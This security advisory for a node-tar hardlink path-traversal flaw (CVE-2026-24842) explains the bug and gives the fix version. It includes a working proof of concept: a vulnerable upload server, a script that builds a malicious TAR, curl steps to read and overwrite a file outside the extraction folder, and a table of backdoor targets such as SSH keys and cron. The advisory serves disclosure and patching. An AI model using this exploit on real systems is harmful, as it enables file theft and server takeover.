GHSA-34x7-hfp2-rc4v CVE-2026-24842
node-tar Vulnerable to Arbitrary File Creation/Overwrite via Hardlink Path Traversal
- Severity
- 8.2 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.61%
- Chance of exploitation in the next 30 days. Higher than 49.10% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
- CWE-59 Improper Link Resolution Before File Access ('Link Following')
- Fix
7.5.7- Upgrade tar to this version or later
Description
Summary
node-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory.
Details
The vulnerability exists in lib/unpack.js. When extracting a hardlink, two functions handle the linkpath differently:
Security check in [STRIPABSOLUTEPATH]:
const entryDir = path.posix.dirname(entry.path);
const resolved = path.posix.normalize(path.posix.join(entryDir, linkpath));
if (resolved.startsWith('../')) { /* block */ }
Hardlink creation in [HARDLINK]:
const linkpath = path.resolve(this.cwd, entry.linkpath);
fs.linkSync(linkpath, dest);
Example: An application extracts a TAR using tar.extract({ cwd: '/var/app/uploads/' }). The TAR contains entry a/b/c/d/x as a hardlink to ../../../../etc/passwd.
-
Security check resolves the linkpath relative to the entry's parent directory:
a/b/c/d/ + ../../../../etc/passwd=etc/passwd. No../prefix, so it passes. -
Hardlink creation resolves the linkpath relative to the extraction directory (
this.cwd):/var/app/uploads/ + ../../../../etc/passwd=/etc/passwd. This escapes to the system's/etc/passwd.
The security check and hardlink creation use different starting points (entry directory a/b/c/d/ vs extraction directory /var/app/uploads/), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape.
PoC
Setup
Create a new directory with these files:
poc/
├── package.json
├── secret.txt ← sensitive file (target)
├── server.js ← vulnerable server
├── create-malicious-tar.js
├── verify.js
└── uploads/ ← created automatically by server.js
└── (extracted files go here)
package.json
{ "dependencies": { "tar": "^7.5.0" } }
secret.txt (sensitive file outside uploads/)
DATABASE_PASSWORD=supersecret123
server.js (vulnerable file upload server)
const http = require('http');
const fs = require('fs');
const path = require('path');
const tar = require('tar');
const PORT = 3000;
const UPLOAD_DIR = path.join(__dirname, 'uploads');
fs.mkdirSync(UPLOAD_DIR, { recursive: true });
http.createServer((req, res) => {
if (req.method === 'POST' && req.url === '/upload') {
const chunks = [];
req.on('data', c => chunks.push(c));
req.on('end', async () => {
fs.writeFileSync(path.join(UPLOAD_DIR, 'upload.tar'), Buffer.concat(chunks));
await tar.extract({ file: path.join(UPLOAD_DIR, 'upload.tar'), cwd: UPLOAD_DIR });
res.end('Extracted\n');
});
} else if (req.method === 'GET' && req.url === '/read') {
// Simulates app serving extracted files (e.g., file download, static assets)
const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
if (fs.existsSync(targetPath)) {
res.end(fs.readFileSync(targetPath));
} else {
res.end('File not found\n');
}
} else if (req.method === 'POST' && req.url === '/write') {
// Simulates app writing to extracted file (e.g., config update, log append)
const chunks = [];
req.on('data', c => chunks.push(c));
req.on('end', () => {
const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
if (fs.existsSync(targetPath)) {
fs.writeFileSync(targetPath, Buffer.concat(chunks));
res.end('Written\n');
} else {
res.end('File not found\n');
}
});
} else {
res.end('POST /upload, GET /read, or POST /write\n');
}
}).listen(PORT, () => console.log(`http://localhost:${PORT}`));
create-malicious-tar.js (attacker creates exploit TAR)
const fs = require('fs');
function tarHeader(name, type, linkpath = '', size = 0) {
const b = Buffer.alloc(512, 0);
b.write(name, 0); b.write('0000644', 100); b.write('0000000', 108);
b.write('0000000', 116); b.write(size.toString(8).padStart(11, '0'), 124);
b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, '0'), 136);
b.write(' ', 148);
b[156] = type === 'dir' ? 53 : type === 'link' ? 49 : 48;
if (linkpath) b.write(linkpath, 157);
b.write('ustar\x00', 257); b.write('00', 263);
let sum = 0; for (let i = 0; i < 512; i++) sum += b[i];
b.write(sum.toString(8).padStart(6, '0') + '\x00 ', 148);
return b;
}
// Hardlink escapes to parent directory's secret.txt
fs.writeFileSync('malicious.tar', Buffer.concat([
tarHeader('d/', 'dir'),
tarHeader('d/x', 'link', '../secret.txt'),
Buffer.alloc(1024)
]));
console.log('Created malicious.tar');
Run
# Setup
npm install
echo "DATABASE_PASSWORD=supersecret123" > secret.txt
# Terminal 1: Start server
node server.js
# Terminal 2: Execute attack
node create-malicious-tar.js
curl -X POST --data-binary @malicious.tar http://localhost:3000/upload
# READ ATTACK: Steal secret.txt content via the hardlink
curl http://localhost:3000/read
# Returns: DATABASE_PASSWORD=supersecret123
# WRITE ATTACK: Overwrite secret.txt through the hardlink
curl -X POST -d "PWNED" http://localhost:3000/write
# Confirm secret.txt was modified
cat secret.txt
Impact
An attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables:
Immediate (Read Attack): If the application serves extracted files, attacker can read any file readable by the process.
Conditional (Write Attack): If the application later writes to the hardlink path, it modifies the target file outside the extraction directory.
Remote Code Execution / Server Takeover
| Attack Vector | Target File | Result |
|---|---|---|
| SSH Access | ~/.ssh/authorized_keys |
Direct shell access to server |
| Cron Backdoor | /etc/cron.d/*, ~/.crontab |
Persistent code execution |
| Shell RC Files | ~/.bashrc, ~/.profile |
Code execution on user login |
| Web App Backdoor | Application .js, .php, .py files |
Immediate RCE via web requests |
| Systemd Services | /etc/systemd/system/*.service |
Code execution on service restart |
| User Creation | /etc/passwd (if running as root) |
Add new privileged user |
Data Exfiltration & Corruption
- Overwrite arbitrary files via hardlink escape + subsequent write operations
- Read sensitive files by creating hardlinks that point outside extraction directory
- Corrupt databases and application state
- Steal credentials from config files,
.env, secrets
Affected versions
npm
| Package | Vulnerable | Fixed in |
|---|---|---|
| tar | < 7.5.7 |
7.5.7 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
tar npm → 7.5.7
- npm
npm install tar@7.5.7- yarn
yarn add tar@7.5.7- pnpm
pnpm add tar@7.5.7
Severity breakdown
CVSS 3.1 8.2
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- Required
- Scope
- Changed
- Confidentiality
- High
- Integrity
- Low
- Availability
- None
Weakness
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
How to prevent it
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
- Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
- Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
- Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
- Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CWE-59: Improper Link Resolution Before File Access ('Link Following')
The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.
How to prevent it
- Architecture and Design: Follow the principle of least privilege when assigning access rights to entities in a software system. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.
References
Advisories
Packages
Other links
- github.com/isaacs/node-tar/security/advisories/GHSA-34x7-hfp2-rc4v
- github.com/isaacs/node-tar/commit/f4a7aa9bc3d717c987fdf1480ff7a64e87ffdb46
- access.redhat.com/errata/RHSA-2026:18480
- access.redhat.com/errata/RHSA-2026:18868
- access.redhat.com/errata/RHSA-2026:2900
- access.redhat.com/errata/RHSA-2026:33371
- access.redhat.com/errata/RHSA-2026:5447
- access.redhat.com/errata/RHSA-2026:6192
- access.redhat.com/security/cve/CVE-2026-24842
- bugzilla.redhat.com/show_bug.cgi
- security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-24842.json
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-r292-9mhp-454m node-tar: Uncontrolled recursion in mapHas/filesFilter allows uncatchable stack-overflow DoS via crafted long-path tar with member selection | High | Also affects tar |
| GHSA-gvwx-54wh-qm9j node-tar: Uncaught Exception DoS via NUL byte in PAX path/linkpath records | Medium | Also affects tar |
| GHSA-8x88-c5mf-7j5w node-tar: Negative tar entry size causes infinite loop in archive replace | High | Also affects tar |
| GHSA-23hp-3jrh-7fpw node-tar: Decompression/parse DoS via unlimited input | High | Also affects tar |
| GHSA-w8wr-v893-vjvp node-tar: Process crash via PAX numeric path type confusion | High | Also affects tar |
| GHSA-vmf3-w455-68vh node-tar applies PAX size override to intermediary GNU long-name/long-link headers, causing tar parser interpretation differential (file smuggling) | Medium | Also affects tar |
| GHSA-9ppj-qmqm-q256 node-tar Symlink Path Traversal via Drive-Relative Linkpath | Medium | Also affects tar |
| GHSA-qffp-2rhf-9h96 tar has Hardlink Path Traversal via Drive-Relative Linkpath | Medium | Also affects tar |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor